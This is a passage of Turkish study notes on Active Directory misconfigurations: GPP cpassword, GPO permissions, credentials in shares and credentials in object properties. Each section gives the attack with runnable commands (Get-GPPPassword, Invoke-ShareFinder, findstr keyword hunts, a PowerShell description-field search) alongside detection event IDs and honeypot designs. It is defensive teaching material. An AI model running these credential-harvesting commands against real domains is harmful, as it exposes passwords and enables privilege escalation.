İşte asıl felaket burada: AD'nin bu XML dosyalarındaki parolaları şifrelemek için kullandığı AES anahtarı, tüm Active Directory ortamlarında aynıydı — ve Microsoft bu anahtarı kendi resmi dokümantasyonunda (MSDN) yayınladı! Yani şifreleme anahtarı herkese açıktı.

Bunu daha da kötü yapan şey: SYSVOL klasörüne domain'deki tüm "Authenticated Users" (kullanıcılar ve bilgisayarlar dahil, yani neredeyse herkes) erişebiliyor. Sonuç: kimlik bilgisi = şifreli metin + herkese açık anahtar → herkes tarafından çözülebilir parola.

XML dosyasında parola, cpassword adlı bir özellik (property) içinde saklanıyor.

Saldırı Adımları (Attack)

Bu saldırı için PowerSploit araç setinden Get-GPPPassword fonksiyonu kullanılıyor. Bu fonksiyon, SYSVOL'daki Policies klasöründeki tüm XML dosyalarını otomatik olarak tarar, cpassword özelliğine sahip olanları bulur ve otomatik olarak çözer:

Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword

Lab ortamında çalıştırıldığında şu sonuç çıkıyor:

Kullanıcı: svc-iis
Parola: krysthal@123
Dosya konumu: \\krysthal.LOCAL\SYSVOL\krysthal.local\Policies\{...}\Machine\Preferences\Groups\Groups.xml

Dikkat et: hiçbir kırma (cracking) işlemi yok — bu doğrudan şifre çözme (decryption), çünkü anahtar zaten herkese açık. Bu, Kerberoasting/AS-REProasting'den çok daha "ucuz" bir saldırı — kaba kuvvet veya sözlük saldırısına gerek yok.

Önleme (Prevention)

Microsoft, bu anahtarın kötüye kullanıldığının fark edilmesinin ardından 2014 yılında KB2962486 yamasını yayınladı — bu yamadan sonra GPP artık yeni parolaları önbelleğe almıyor/saklamıyor.

Ama burada kritik bir tuzak var, dikkatlice oku::

Bu yama sadece yeni kimlik bilgilerinin saklanmasını engeller — mevcut, zaten kayıtlı olan parolaları temizlemez.

Yani eğer bir organizasyonun AD ortamı 2014'ten önce kurulmuşsa, o zamandan kalma kimlik bilgileri hâlâ SYSVOL'da duruyor olabilir — yama sonradan uygulanmış olsa bile! Bu yüzden 2015 sonrası kurulan birçok ortamda bile hâlâ bu tür kimlik bilgilerine rastlanıyor (muhtemelen eski bir domain'den migrate edildiği veya eski GPO'lar kopyalandığı için). Öneri: ortamı düzenli olarak denetleyip SYSVOL'da açığa çıkmış kimlik bilgisi olmadığından emin olmak.

Tespit (Detection)

İki tespit yöntemi var:

1) Dosya erişim denetimi (auditing): XML dosyasına erişim izlenebilir. Ama gerçek GPO'larla ilişkili dosyalarda bu çok fazla "gürültü" üretir (herkes düzenli olarak GPO senkronizasyonu yapar). Pratik çözüm: hiçbir GPO ile ilişkili olmayan sahte bir XML dosyası oluşturmak — bu dosyaya kimse normal şartlarda erişmemeli, herhangi bir erişim Event ID 4663 üretir ve doğrudan şüpheli sayılır (Get-GPPPassword çalıştırıldığında Policies klasöründeki tüm dosyaları taradığı için bu tuzak dosyaya da dokunur).

2) Kimlik bilgisi kullanım denetimi: Açığa çıkan hesabın oturum açma denemeleri izlenebilir — Event ID 4624 (başarılı giriş), 4625 (başarısız giriş) veya 4768 (TGT isteği). Eğer hesap bir servis hesabıysa, girişin hangi cihazdan geldiğini de kontrol edebilirsiniz — servis hesabının normalde bağlanmaması gereken bir iş istasyonundan giriş denemesi gelirse, bu anormal davranıştır.

Honeypot (Tuzak Hesap)

Bu saldırı türü, honeypot kurmak için mükemmel bir fırsat sunuyor çünkü buradaki mantık öncekilerden farklı: yanlış parolalı yarı-yetkili bir kullanıcı kullanıyoruz.

Servis hesabı neden ideal:

Parolasının eski ve düzenli değiştirilmemiş olması normal/beklenen bir durumdur
Kritik teknik: Son parola değişikliği tarihinin, GPP XML dosyasının son değiştirilme tarihinden daha eski olduğundan emin olun. Eğer parola, dosya değiştirildikten sonra değiştirilmişse, saldırgan bu bilgiyle giriş yapmayı denemez bile (parolanın artık geçersiz olduğunu varsayar).
Bu hesap için düzenli sahte bir görev (dummy task) zamanlayın — böylece "son giriş zamanı" güncel kalır ve hesap gerçekmiş gibi görünür.

Bu ayarlandıktan sonra, bu hesapla ilgili her türlü (başarılı veya başarısız) giriş denemesi kötü niyetli sayılabilir (tabii sahte görevin ürettiği normal girişleri alarm dışında tutarak).

Parola yanlış olduğu için çoğunlukla başarısız giriş denemeleri beklenir. Bunu gösteren üç event ID: 4625, 4771, 4776 — hepsi "yanlış parolayla kimlik doğrulama denemesi" anlamına gelir ve lab ortamında saldırgan bu hesapla giriş denediğinde tam olarak bu üç event üretiliyor.

BÖLÜM 6: GPO Permissions / GPO Files

Açıklama

GPO (Group Policy Object), benzersiz bir isme sahip, sıfır veya daha fazla politika ayarı içeren sanal bir koleksiyondur. Active Directory'de en yaygın kullanılan yapılandırma yönetim aracıdır.

GPO'lar, AD yapısındaki bir Organizational Unit (OU)'ya bağlanır (link) ve ayarları o OU'da (veya alt OU'larında) bulunan nesnelere uygulanır. GPO'ların kimlere uygulanacağı da kısıtlanabilir örneğin belirli bir AD grubuna (varsayılan olarak "Authenticated Users"a uygulanır) veya bir WMI filtresi ile (örneğin "sadece Windows 10 makinelere uygula" gibi).

Sorun şurada başlıyor: Yeni bir GPO oluşturulduğunda, varsayılan olarak sadece Domain Admins (ve benzer yüksek yetkili roller) onu değiştirebilir. Ama gerçek ortamlarda, daha düşük yetkili hesaplara GPO üzerinde düzenleme izni devredilmiş (delegated) olabilir ve işte zayıflık bu.

Birçok organizasyonda, "Authenticated Users" veya "Domain Users" tarafından düzenlenebilen GPO'lar mevcuttur. Bu, ele geçirilen herhangi bir kullanıcının bu GPO'ları değiştirebileceği anlamına gelir. Saldırgan GPO'ya bir başlangıç betiği (startup script) veya zamanlanmış görev ekleyerek, o GPO'nun bağlı olduğu OU'lardaki tüm bilgisayar nesnelerini ele geçirebilir.

İkinci bir saldırı vektörü daha var: GPO'nun kendisi doğru yapılandırılmış olsa bile, GPO aracılığıyla dağıtılan dosyalar (yazılım kurulumu, başlangıç betikleri vb.) bir ağ paylaşımında tutuluyorsa ve bu paylaşımın NTFS izinleri yanlış yapılandırılmışsa, saldırgan o dosyayı kendi kötü niyetli dosyasıyla değiştirebilir. Bu durumda GPO'da bir sorun yoktur, sorun dosya izinlerindedir.

Saldırı:

Vektör 1: Mevcut GPO İzinleri Yanlış → GPO'yu Doğrudan Düzenleme

Normalde bir GPO'yu sadece Domain Admins düzenleyebilir. Ama birçok organizasyonda yöneticiler, kolaylık olsun diye GPO düzenleme yetkisini Authenticated Users veya Domain Users gibi geniş gruplara devreder. Bu durumda saldırgan (örneğin İnfa gibi sıradan bir kullanıcı) şunları yapabilir:

Group Policy Management Console (GPMC) açılır → hedef GPO seçilir → şu değişikliklerden biri yapılır:

Startup Script ekleme: Computer Configuration → Policies → Windows Settings → Scripts → Startup altına bir .bat veya .ps1 dosyası eklenir. Her makine açılışında bu betik SYSTEM yetkisiyle çalışır — yani en yüksek yetkiyle.
Scheduled Task ekleme: Computer Configuration → Preferences → Control Panel Settings → Scheduled Tasks altına yeni bir görev tanımlanır. Bu görev periyodik olarak veya bir tetikleyiciyle saldırganın kodunu çalıştırır.
Yazılım yükleme: Computer Configuration → Policies → Software Settings → Software Installation altına bir .msi paketi eklenir — saldırganın hazırladığı zararlı yazılım tüm makinelere otomatik dağıtılır.

Politika güncelleme döngüsü (varsayılan 90 dakika) veya bilgisayar yeniden başlatıldığında, GPO'nun bağlı olduğu OU'daki her makine bu değişikliği uygular.

Vektör 2: Mevcut GPO Doğru Ama Dosya İzinleri Yanlış

Bu daha sinsi bir senaryodur çünkü GPO'nun kendisinde hiçbir değişiklik yapılmıyor, dolayısıyla Event ID 5136 üretilmez ve standart GPO denetimi bunu yakalamaz.

Senaryo: Bir yönetici GPO ile bir startup script tanımlamış, bu script bir ağ paylaşımında tutuluyor (örneğin \\Server01\Scripts\setup.bat). GPO ayarları mükemmel — ama paylaşımın NTFS izinleri yanlış yapılandırılmış ve Domain Users bu dosyaya yazma izni olan bir grupta.

Saldırganın yapması gereken tek şey: o .bat dosyasının içeriğini kendi zararlı koduyla değiştirmek. Bir sonraki politika güncellemesinde veya makineler yeniden başladığında, GPO aynı dosyayı çalıştırmaya devam eder ama artık dosyanın içeriği saldırganın kodudur.

Kriter	Vektör 1: GPO İzinleri	Vektör 2: Dosya İzinleri
Sorunun kaynağı	GPO düzenleme yetkisi çok geniş gruba devredilmiş	Ağ paylaşımının NTFS izinleri gevşek
Ne değişiyor?	GPO'nun kendisi (politika ayarları)	GPO'nun çalıştırdığı dosyanın içeriği
Teknik zorluk	Düşük — GPMC veya PowerShell ile düzenleme	Çok düşük — dosyayı üzerine yazma
Event ID 5136	✅ Üretilir — tespit kolay	❌ Üretilmez — tespit zor
Tespit yöntemi	Directory Service Changes denetimi	Dosya hash kontrolü, dosya erişim denetimi (Event 4663)
Etki alanı	GPO'nun bağlı olduğu OU'daki tüm makineler	GPO'nun bağlı olduğu OU'daki tüm makineler
Çalışma yetkisi	SYSTEM (en yüksek yetki)	SYSTEM (en yüksek yetki)
Tetiklenme zamanı	Her 90 dk politika güncellemesi veya makine açılışı	Her 90 dk politika güncellemesi veya makine açılışı

Önleme (Prevention)

1) GPO izinlerini sıkılaştırma: GPO'yu yalnızca belirli bir grubun veya belirli bir hesabın düzenleyebilmesini sağlayın. Bu, düzenleme yapabilecek kişi sayısını ciddi ölçüde azaltır. "Domain Admins" grubundaki herkes düzenleyebilsin demek yerine (ki bazı organizasyonlarda bu grup kolayca 50'den fazla kişi içerebilir), özel bir grup oluşturup sadece o gruba düzenleme ve izin değiştirme yetkisi verin.

2) Dosya izinlerini sıkılaştırma: GPO aracılığıyla dağıtılan dosyalar ağ paylaşımlarında tutuluyorsa, bu paylaşımlara geniş kullanıcı kitlelerinin yazma izni olmadığından emin olun.

3) Düzenli ve otomatik denetim: GPO izinlerini aktif olarak ve düzenli aralıklarla gözden geçirin. Bunu otomatikleştirmek de mümkün saatte bir çalışan bir görev oluşturarak, beklenen izinlerden herhangi bir sapma tespit edildiğinde alarm üretilmesini sağlayabilirsiniz.

Tespit

Bir GPO değiştirildiğini tespit etmek neyse ki kolaydır. Eğer Directory Service Changes denetimi (auditing) etkinleştirildiyse, GPO her değiştirildiğinde Event ID 5136 üretilir.

Savunma açısından yapılması gereken basit: GPO'yu değiştirme yetkisi olmaması gereken bir kullanıcı bu event'te görünürse, derhal kırmızı bayrak kaldırılmalıdır.

Honeypot

Temel Mantık: Kolay tespit yöntemleri mevcut olduğu için, ortamda bilerek yanlış yapılandırılmış bir GPO bırakmak cazip bir seçenek. Aynı şekilde, GPO ile dağıtılan bir dosyanın hash değerini sürekli kontrol ederek, dosyanın değiştirilip değiştirilmediğini izlemek de mümkün.

AMA — çok önemli bir uyarı: Bu teknikler yalnızca olgun ve proaktif bir güvenlik ekibine sahip organizasyonlar için önerilir. Neden? Çünkü gelecekte birisi bu GPO değişikliği yoluyla bir yetki yükseltme (escalation) yolu keşfederse ve organizasyon bunu anlık olarak engelleyemezse, tuzak geriye dönüp en zayıf nokta haline gelir, yani kendi silahınız size döner.

Honeypot GPO kurulurken dikkat edilmesi gerekenler:

GPO yalnızca kritik olmayan sunuculara bağlanmalı (link)
GPO değişikliklerini izlemek için sürekli çalışan otomasyon kurulmalı
GPO dosyası değiştirilirse, değişikliği yapan kullanıcı derhal devre dışı bırakılmalı
Değişiklik tespit edilirse GPO otomatik olarak tüm konumlardan bağlantısı kesilmeli (unlink)

Örnek PowerShell otomasyon betiği:

Bu betik, scheduled task olarak her 15 dakikada bir çalışacak şekilde tasarlanmış. Mantığı şu:

Son 15 dakikadaki Event ID 5136 (GPO değiştirildi) kayıtlarını arar
Bu kayıtları belirli bir GUID ile (honeypot GPO'nun kimliği) filtreler
Eşleşme bulursa, değişikliği yapan kullanıcı(ları) tespit eder
Bu kullanıcıları anında devre dışı bırakır (Disable-ADAccount)
E-posta ile alarm gönderir (opsiyonel, betikteki Send-MailMessage yorum satırında)

powershell

# Son 15 dakikalık filtre tanımla
$TimeSpan = (Get-Date) - (New-TimeSpan -Minutes 15)

# Son 15 dakikada Event ID 5136 (GPO değiştirildi) ara
$Logs = Get-WinEvent -FilterHashtable `
  @{LogName='Security';id=5136;StartTime=$TimeSpan} -ErrorAction `
  SilentlyContinue | `
  Where-Object {$_.Properties[8].Value -match `
  "CN={73C66DBB-81DA-44D8-BDEF-20BA2C27056D},CN=POLICIES,CN=SYSTEM,DC=krysthal,DC=LOCAL"}

if($Logs){
    $emailBody = "Honeypot GPO '73C66DBB-81DA-44D8-BDEF-20BA2C27056D' was modified`r`n"
    $disabledUsers = @()
    ForEach($log in $logs){
        If(((Get-ADUser -identity $log.Properties[3].Value).Enabled -eq `
        $true) -and ($log.Properties[3].Value -notin $disabledUsers)){
            Disable-ADAccount -Identity $log.Properties[3].Value
            $emailBody = $emailBody + "Disabled user " + `
            $log.Properties[3].Value + "`r`n"
            $disabledUsers += $log.Properties[3].Value
        }
    }
    # E-posta ile alarm gönder
    # Send-MailMessage
    $emailBody
}

15 dakika aralığının önemi: Betik her 15 dakikada bir çalıştığı için, bu süre zarfında birden fazla ele geçirilmiş kullanıcı GPO'yu değiştirmiş olabilir, betik hepsini tek seferde tespit edip devre dışı bırakır.

Lab'da çalıştırıldığında sonuç:

Honeypot GPO '73C66DBB-81DA-44D8-BDEF-20BA2C27056D' was modified
Disabled user infa

İnfa kullanıcısı, honeypot GPO'yu değiştirirken yakalandı ve anında devre dışı bırakıldı. Bu devre dışı bırakma işlemi de kendi başına bir event üretiyor: Event ID 4725 (kullanıcı hesabı devre dışı bırakıldı).

Bu bölümün özeti: Önceki bölümlerde (Kerberoasting, AS-REProasting, GPP) saldırgan parola elde etmeye çalışıyordu. Bu bölümde ise saldırgan parolaya ihtiyaç duymadan, yapılandırma değişikliği yaparak doğrudan kod çalıştırma peşinde. Savunma açısından güzel olan kısım şu: GPO değişikliklerini tespit etmek, Kerberos bilet isteklerini tespit etmekten çok daha kolay çünkü Event ID 5136'nın hacmi, 4768/4769'a göre çok çok düşük.

BÖLÜM 7: KİMİLİK BİLGİSİ PAYLAŞIMI (CREDENTIALS IN SHARES)

Açıklama:

Ağ paylaşımlarında açığa çıkmış kimlik bilgileri, Active Directory'de bugüne kadar en sık karşılaşılan yanlış yapılandırmadır (muhtemelen). Orta ve büyük ölçekli her kurumda neredeyse kesinlikle bulunur, küçük işletmelerde de rastlanabilir. Doküman bunu şöyle ifade ediyor: artık "parolanı ekranındaki yapışkan nota yazma" çağından, "şifrelenmemiş kimlik bilgilerini ve yetkilendirme token'larını her yere saçma" çağına geçtik.

Kimlik bilgileri en çok nerede bulunur?

Ağ paylaşımlarında: Betik ve yapılandırma dosyalarında, .bat, .cmd, .ps1 (PowerShell), .conf, .ini, .config dosyaları
Kullanıcının yerel makinesinde: Metin dosyaları, Excel tabloları, Word belgeleri içinde

Kritik nokta: Ağ paylaşımlarındaki kimlik bilgileri, yerel makinedekilerden çok daha tehlikelidir, çünkü paylaşım, domain'deki her kullanıcı tarafından erişilebilir olabilir.

Bir paylaşımın neden herkese açık hale geldiğinin dört ana nedeni:

1) Zamanla gevşetilen izinler: Bir yönetici başlangıçta doğru izinlerle paylaşım oluşturur, ama sonradan başka bir yönetici (veya kendisi) erişimi Everyone veya Users grubuna açar. Burada kritik bir yanlış anlama var: birçok yönetici, Users grubunun yalnızca o sunucuya yerel kullanıcıları içerdiğini düşünür, oysa AD ortamında bir sunucunun Users grubu, Domain Users grubunu üye olarak içerir. Yani Users demek = domain'deki herkes demek.

2) Paylaşılan klasör olduğunun fark edilmemesi: Birçok yönetici betiklerini test etmek için C:\scripts gibi bir klasör oluşturur, ama bu klasörün aslında ağda paylaşıldığını (shared) bilmeyebilir. Klasör paylaşılmışsa (örneğin Users grubuyla), betiklerin içindeki kimlik bilgileri de ağ üzerinden herkese açık hale gelir.

3) Geçici paylaşımın unutulması: Bir sunucuya veri taşımak (uygulama, dosya vb.) amacıyla geçici olarak açık bir paylaşım oluşturulur ve sonra kapatılması unutulur.

4) Gizli paylaşımlar hakkında yanlış kanı ($ işareti): Adı $ ile biten paylaşımlar (örneğin dev$) "gizli paylaşım" olarak bilinir. Yaygın bir yanlış inanış, kullanıcıların bu paylaşımları yerini bilmeden bulamayacağıdır. Gerçek şu: Windows Explorer bu paylaşımları göstermez (çünkü $ ile biten isimleri gizler), ama diğer tüm araçlar (PowerView, net share, smbclient vb.) bunları rahatlıkla listeler. Yani $ sadece Explorer'dan gizler, gerçek bir güvenlik katmanı değildir.

Saldırı (Attack)

1. Adım: Domain'deki paylaşımları keşfetme:

PowerView araç setinden Invoke-ShareFinder fonksiyonu kullanılıyor. Bu fonksiyon şunları yapabilir:

Varsayılan paylaşımları filtreler (C$, IPC$ gibi) → -ExcludeStandard
Mevcut kullanıcının erişimi olup olmadığını kontrol eder → -CheckShareAccess

powershell

Invoke-ShareFinder -domain krysthal.local -ExcludeStandard -CheckShareAccess

Lab ortamında bulunan sonuçlar:

\\DC2.krysthal.local\NETLOGON         - Logon server share
\\DC2.krysthal.local\SYSVOL           - Logon server share
\\WS001.krysthal.local\Share          -
\\WS001.krysthal.local\Users          -
\\Server01.krysthal.local\dev$        -
\\DC1.krysthal.local\NETLOGON         - Logon server share
\\DC1.krysthal.local\SYSVOL           - Logon server share

Lab ortamında az sayıda paylaşım var, ama gerçek üretim ortamlarında bu sayı binlere ulaşabilir (hepsini taramak uzun sürer).

Dikkat et: dev$ gizli paylaşım görünüyor. Windows Explorer ile Server01'a göz atıldığında bu paylaşım görünmez, ama UNC yolu (\\Server01.krysthal.local\dev$) bilindiği için doğrudan gidildiğinde içeriği görülür.

2. Adım — Paylaşımlarda kimlik bilgisi arama:

Doküman burada bilinçli olarak otomatik araçlar yerine Living Off the Land yaklaşımını tercih ediyor ve Windows'un yerleşik findstr komutunu kullanıyor. Parametreler:

/s — alt klasörler dahil tara
/i — büyük/küçük harf ayrımı yapma
/m — sadece eşleşen dosya adını göster (içeriği değil). Bu, gerçek ortamlarda çok kritik — çünkü /m olmadan, örneğin pass araması yapıldığında, PowerShell betiklerindeki her PassThru parametresi de eşleşir ve binlerce satır geri döner.

Arama 1 — "pass" terimi:

powershell

cd \\Server01.krysthal.local\dev$
findstr /m /s /i "pass" *.bat    # sonuç yok
findstr /m /s /i "pass" *.cmd    # sonuç yok
findstr /m /s /i "pass" *.ini    # setup.ini bulundu
findstr /m /s /i "pass" *.config # 4\5\4\web.config bulundu

Arama 2 — "pw" terimi:

powershell

findstr /m /s /i "pw" *.config
# 5\2\3\microsoft.config bulundu

findstr /s /i "pw" *.config    # /m olmadan → içerik de gösterilir
# 5\2\3\microsoft.config:pw BANANANANANANANANANANANANNAANANANANAS

Arama 3 — Domain'in NetBIOS adı (çok akıllıca ve az bilinen bir teknik!):

runas ve net use gibi komutlar, parolayı pass veya pw gibi bir etiketle değil, pozisyonel argüman olarak alır: /user:DOMAIN\USERNAME PASSWORD formatında. Bu yüzden pass veya pw aramak bu tür kimlik bilgilerini kaçırır — ama domain adı olan krysthal ile aramak yakalar:

powershell

findstr /m /s /i "krysthal" *.ps1
# 2\4\4\Software\connect.ps1 bulundu

findstr /s /i "krysthal" *.ps1
# 2\4\4\Software\connect.ps1:net use E: \\DC1\sharedScripts /user:krysthal\Administrator mvp123

İşte burada domain'in yerleşik Administrator hesabının parolası (mvp123) açık metin olarak ortaya çıkıyor, bir net use komutu içinde. Doküman bu sonucun gerçek ortamlarda da nadir olmadığını vurguluyor: betik dosyalarında domain admin kimlik bilgilerini bulmak sık karşılaşılan bir durum.

Önemli not: findstr komutunun bu parametrelerle çalıştırılması, son zamanlarda Windows Defender tarafından şüpheli davranış olarak algılanmaya başlandı.

Önleme (Prevention)

1) Paylaşım izinlerini sıkılaştırma: Domain'deki her paylaşımın izinlerini gözden geçirip gevşek izinlerin olmadığından emin olun.

2) Düzenli tarama: Kullanıcıların betiklerde veya dosyalarda ne bıraktığını teknik olarak tamamen kontrol etmek mümkün değil, bu yüzden haftalık gibi düzenli aralıklarla AD ortamını tarayarak yeni açılan paylaşımları veya mevcut paylaşımlardaki açığa çıkmış kimlik bilgilerini tespit etmek gerekir.

Tespit (Detection)

1) Kullanıcı davranış analizi (UBA User Behavior Analysis):

Keşfedilen kimlik bilgilerinin kötüye kullanılmasını tespit etmenin en iyi yolu, kullanıcıların giriş zamanını ve konumunu analiz etmektir. Yukarıdaki saldırıda bulunan Administrator hesabını ele alalım: eğer organizasyon PAW (Privileged Access Workstation) kullanıyorsa, ayrıcalıklı kullanıcıların yalnızca bu iş istasyonlarından kimlik doğrulaması yapması beklenir. PAW dışından gelen herhangi bir giriş denemesi alarm üretmelidir.

İzlenecek event ID'ler:

4624 — Başarılı oturum açma
4625 — Başarısız oturum açma
4768 — Kerberos TGT istendi (Kerberos ile kimlik doğrulama yapılırsa)

Lab ortamında, saldırgan Administrator hesabıyla giriş yaptığında Event ID 4624 üretiliyor — burada kaynak iş istasyonu (Workstation Name) ve kaynak IP (Source Network Address) alanları, normal davranıştan sapma olup olmadığını kontrol etmek için kritik.

Benzer şekilde, Kerberos ile kimlik doğrulama yapılırsa Event ID 4768 üretilir — burada da Client Address alanı, isteğin nereden geldiğini gösterir.

2) Bire-çok (one-to-many) bağlantı tespiti:

Invoke-ShareFinder çalıştırıldığında, bu araç domain'deki her cihaza bağlanarak paylaşım listesi çeker. Bir iş istasyonunun aynı anda yüzlerce veya binlerce farklı cihaza bağlanması son derece anormaldir — bu tür bir trafik deseni, ağ izleme araçlarıyla (SIEM, NDR) kolayca tespit edilebilir.

Honeypot (Tuzak Hesap)

Bu saldırı, AD ortamında honeypot kullanıcı bırakmak için bir neden daha sunuyor. Strateji önceki bölümlerle aynı: yarı yetkili bir kullanıcı adı, yanlış bir parolayla. Saldırgan bu parolanın yanlış olduğunu ancak parolayı deneyerek anlayabilir — bu da alarm tetikler.

İyi bir honeypot hesap kurulumu için kriterler:

2+ yıl önce oluşturulmuş bir servis hesabı olmalı. Son parola değişikliği en az 1 yıl önce olmalı.
Sahte parolayı içeren dosyanın son değiştirilme tarihi, hesabın son parola değişikliği tarihinden sonra olmalı. Bu çok kritik — çünkü aksi durumda saldırgan "parola dosyadan sonra değiştirilmiş, bu parola artık geçersiz" diye düşünüp denemez bile. Parola zaten yanlış olduğu için hesabın ele geçirilme riski yok.
Hesap hâlâ aktif olmalı (devre dışı bırakılmamış).
Kimlik bilgilerini içeren betik gerçekçi olmalı. Örneğin, MSSQL servis hesabı seçildiyse, dosyada bir bağlantı dizesi (connection string) içinde kimlik bilgilerinin açığa çıkması inandırıcı olur.

Beklenen alarm event'leri:

Parola yanlış olduğu için çoğunlukla başarısız giriş denemeleri beklenir. Lab ortamında saldırgan svc-iis hesabıyla yanlış parolayla giriş denediğinde üç event üretiliyor:

Event ID 4625 — Başarısız oturum açma. Event detaylarında svc-iis kullanıcı adı, kaynak iş istasyonu (WS001 — ele geçirilmiş makine) ve hata kodu görünür.
Event ID 4771 — Kerberos ön kimlik doğrulaması başarısız. Detaylarda Account Name: svc-iis, Client Address: ::ffff:172.16.18.4 (ele geçirilmiş cihaz), Failure Code: 0x18 (bu kod yanlış parola sağlandı anlamına gelir) ve Pre-Authentication Type: 2 alanları görünür.
Event ID 4776 — Bilgisayar kimlik bilgilerini doğrulamaya çalıştı. Detaylarda Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0, Logon Account: svc-iis ve Error Code: 0xC000006A (bu kod da yanlış parola anlamına gelir) alanları görünür.

Bu bölümün büyük resmi: Bu saldırı, önceki bölümlerin hiçbirine benzemiyor, ne kriptografik kırma (Kerberoasting/AS-REProasting), ne tasarım hatası (GPP), ne yapılandırma manipülasyonu (GPO). Bu tamamen insan hatası ve operasyonel disiplinsizlik kaynaklı bir zayıflık. Ve dokümanın belirttiği gibi, muhtemelen AD ortamlarında en yaygın bulunan sorun budur. Teknik karmaşıklığı düşük ama etkisi yıkıcı, çünkü bulunan kimlik bilgileri genellikle yüksek yetkili hesaplara ait oluyor.

BÖLÜM 8: NESNE ÖZELLİKLERİNDEKİ KİMLİK BİLGİLERİ (CREDENTIALS IN OBJECT PROPERTIES)

Açıklama

Active Directory'deki her nesne (kullanıcı, bilgisayar, grup vb.) birçok farklı özelliğe (property) sahiptir. Örneğin bir kullanıcı nesnesinde şu bilgiler saklanabilir:

Hesap aktif mi?
Hesap ne zaman sona eriyor?
Son parola değişikliği ne zaman yapıldı?
Hesabın adı nedir?
Çalışanın ofis konumu ve telefon numarası

Yöneticiler hesap oluştururken bu özellikleri doldurur. Geçmişte yaygın bir uygulama, kullanıcının (veya servis hesabının) parolasını Description (Açıklama) veya Info (Bilgi) alanlarına yazmaktı, yöneticiler bunları görmek için AD'de yönetici yetkisi gerektiğini yanlışlıkla düşünüyordu.

İşte kritik gerçek: Domain'deki her kullanıcı, bir nesnenin çoğu özelliğini (Description ve Info dahil) okuyabilir. Bu, AD'nin tasarımsal bir özelliğidir, kısıtlamak birçok uygulamayı bozar. Yani bir yönetici "Description" alanına "pass: mvp123" yazdığında, bunu domain'deki herkes görebilir.

Saldırı (Attack)

Basit bir PowerShell betiği ile tüm domain taranarak, Description veya Info alanlarında belirli anahtar kelimeler aranır. Doküman burada tam çalışan bir fonksiyon sunuyor:

powershell:

Function SearchUserClearTextInformation
{
    Param (
        [Parameter(Mandatory=$true)]
        [Array] $Terms,

        [Parameter(Mandatory=$false)]
        [String] $Domain
    )

    if ([string]::IsNullOrEmpty($Domain)) {
        $dc = (Get-ADDomain).RIDMaster
    } else {
        $dc = (Get-ADDomain $Domain).RIDMaster
    }

    $list = @()

    foreach ($t in $Terms)
    {
        $list += "(`$_.Description -like `"*$t*`")"
        $list += "(`$_.Info -like `"*$t*`")"
    }

    Get-ADUser -Filter * -Server $dc -Properties `
    Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet |
        Where { Invoke-Expression ($list -join ' -OR ') } |
        Select SamAccountName,Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet |
        fl
}

Bu betiğin yaptığı şey adım adım:

$Terms parametresiyle aranacak anahtar kelimeleri alır (örn: "pass")
$Domain belirtilmezse mevcut domain'in RID Master DC'sini otomatik bulur
Her arama terimi için hem Description hem Info alanında eşleşme arar
Get-ADUser -Filter * ile domain'deki tüm kullanıcıları çeker
Eşleşenleri, ilgili bilgileriyle birlikte (hesap adı, aktif mi, açıklama, parola yaşı vb.) listeler

Çalıştırıldığında:

powershell:

mdr kullanıcısının Description alanında parola açık metin olarak duruyor: mvp123. Ayrıca PasswordNeverExpires: True, yani bu parola hiç sona ermeyecek şekilde ayarlanmış, muhtemelen yıllardan beri aynı.

Ek görsel detay (sayfa 48): Active Directory Users and Computers (ADUC) ekran görüntüsünde, mdr kullanıcısının özellikler penceresinde Description alanında "pass: mvp123" yazısı açıkça görülüyor , yani bu bilgiyi sadece PowerShell ile değil, ADUC GUI'sinden de herkes görebilir.

Önleme (Prevention)

Bu saldırıyı/yanlış yapılandırmayı önlemek için birden fazla seçenek var:

1) Sürekli değerlendirme (continuous assessment): Nesne özelliklerinde saklanan kimlik bilgilerini tespit etmek için düzenli taramalar yapın. Yukarıdaki PowerShell betiğinin aynısı savunma amaçlı da kullanılabilir.

2) Eğitim: Yüksek yetkili çalışanları (yöneticileri), nesne özelliklerine kimlik bilgisi saklamamaları konusunda eğitin.

3) Otomasyon: Kullanıcı oluşturma sürecini mümkün olduğunca otomatikleştirin — böylece yöneticiler hesapları manuel olarak oluşturmaz ve Description alanına parola yazma riski ortadan kalkar. HR sistemleri ile entegre otomatik kullanıcı oluşturma, bu sorunu kökünden çözer.

Tespit (Detection)

Kullanıcı davranış analizi (User Behavior Baselining) yine en iyi tespit tekniğidir. Normal kullanıcı hesapları için bu biraz zor olabilir, ama yönetici/servis hesapları için davranışı anlamak ve baz çizgisi (baseline) oluşturmak daha kolaydır. Otomatik kullanıcı davranış izleme araçları (UEBA — User and Entity Behavior Analytics), anormal girişleri tespit etmede artan başarı göstermektedir.

Yukarıdaki saldırıda bulunan kimlik bilgilerinin güncel olduğunu varsayarsak, saldırgan bu parolayı kullandığında şu event'ler beklenir:

Event ID 4624 — Başarılı oturum açma
Event ID 4625 — Başarısız oturum açma
Event ID 4768 — Kerberos TGT istendi

Lab ortamında, mdr hesabıyla giriş yapıldığında Event ID 4768 üretiliyor — detaylarda Account Name: mdr, Client Address (isteğin geldiği IP) ve şifreleme türü görünüyor. Kullanıcıyı kaynak adresle korelasyonlamak, anormal aktiviteyi tespit etmenin anahtarı.

Önemli bir kısıtlama: Bir kullanıcı nesnesi değiştirildiğinde üretilen Event ID 4738, değiştirilen spesifik özelliği göstermez ve özelliklerin yeni değerlerini de içermez. Bu yüzden, yöneticilerin nesne özelliklerine kimlik bilgisi ekleyip eklemediğini bu event üzerinden tespit etmek mümkün değildir. Bu, önleme ve eğitimin neden bu kadar kritik olduğunu vurgulayan önemli bir kısıtlama.

Honeypot (Tuzak Hesap)

Nesne özelliklerinde kimlik bilgisi saklama, özellikle olgunluk seviyesi düşük ortamlar için mükemmel bir honeypot tekniğidir. Mantık şu: eğer bir organizasyon temel siber hijyen konusunda zorlanıyorsa, AD ortamında bu tür sorunların (nesne özelliklerinde kimlik bilgisi) bulunması zaten beklenir/inandırıcıdır — bu da tuzağı daha gerçekçi yapar.

Honeypot kullanıcı kurulum kriterleri:

Parola/kimlik bilgisi Description alanına yazılmalı — çünkü bu alan, herhangi bir saldırganın en kolay fark edeceği yerdir (Info alanı daha az kontrol edilir).
Sağlanan parola sahte/yanlış olmalı — saldırgan deneyince başarısız olacak ve alarm tetiklenecek.
